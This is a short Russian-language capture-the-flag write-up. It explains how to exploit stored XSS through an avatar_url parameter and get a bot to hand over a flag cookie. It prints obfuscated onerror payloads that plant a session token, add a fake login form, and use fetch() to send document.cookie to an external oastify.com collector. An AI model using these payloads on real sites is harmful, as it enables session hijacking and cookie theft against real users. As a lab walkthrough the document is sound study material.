Возвращение стены, автор @Dan1Lev
Точек для XSS тут хватает, это аватар, имена файлов и username. Возможно есть ещё, но не проверял использовал только аватар.
На endpoint /avatar отправляется параметр avatar_url в который можно передать например такую нагрузку
" onerror=alert(1); "
Защита есть только со стороны фронта которая даст отправить только url.
Но для получения флага понимания куда загружать не достаточно, нужно изучить поведение бота.
Бот переходит на нашу страницу если набирается 3 поста, запоминает последний пост, переходит на главную где проходит авторизацию и публикует запомненный пост с нашей страницы.
Флаг добавляется к куки в начале авторизации. Содержимое поста не уязвимо к инъекциям.
Нужно заставить бота остаться на нашей странице. Для этого выдадим ему куки нашего аккаунта с помошью следующей нагрузки к которой был добавлен сбор куки.
" onerror=eval(atob("ZG9jdW1lbnQuY29va2llID0gImFjY2Vzc190b2tlbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpFWVc1TVpYWXhNek0zSWl3aVpYaHdJam94TnpZd05EVXhPRGd3ZlEuOElQTFh3NjZSWjZnbVl2dmtKV2w5a01fRndFdzhseFVTYWI2dDVZV3NSRTsgcGF0aD0vIjsKZmV0Y2goImh0dHBzOi8vaDBpbjYzeXV6Z281MGx0MmUzaDNvejExYXNnajRiczAub2FzdGlmeS5jb20vP2M9Iitkb2N1bWVudC5jb29raWUpOw==")); "Содержимое eval
document.cookie = "access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJEYW5MZXYxMzM3IiwiZXhwIjoxNzYwNDUxODgwfQ.8IPLXw66RZ6gmYvvkJWl9kM_FwEw8lxUSab6t5YWsRE; path=/";
fetch("https://h0in63yuzgo50lt2e3h3oz11asgj4bs0.oastify.com/?c="+document.cookie);
Но и этого не достаточно. Да, бот будет авторизован, но не найдя на странице форму авторизации бот остановится, в добавок куки добавляется после загрузки страницы.
Для обхода нуно добавить фиктивную форму
<form id="login-form"><input name="username"/><input name="password"/><button></button></form>
Дополнительно бот проверяет есть ли в url /profile/, но это не проблема т.к. авторизованный аккаунт автоматически будет редиректится в профиль.
Финальная нагрузка
"onerror=eval(atob("ZG9jdW1lbnQuY29va2llID0gImFjY2Vzc190b2tlbj1leUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKemRXSWlPaUpFWVc1TVpYWXhNek0zSWl3aVpYaHdJam94TnpZd05EVXhPRGd3ZlEuOElQTFh3NjZSWjZnbVl2dmtKV2w5a01fRndFdzhseFVTYWI2dDVZV3NSRTsgcGF0aD0vIjsKZmV0Y2goImh0dHBzOi8vaDBpbjYzeXV6Z281MGx0MmUzaDNvejExYXNnajRiczAub2FzdGlmeS5jb20vP2M9Iitkb2N1bWVudC5jb29raWUpOw=="));><form id="login-form"><input name="username"/><input name="password"/><button></button></form><img src="После установки создаём 3 поста и спустя мгновение получаем куки с флагом
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube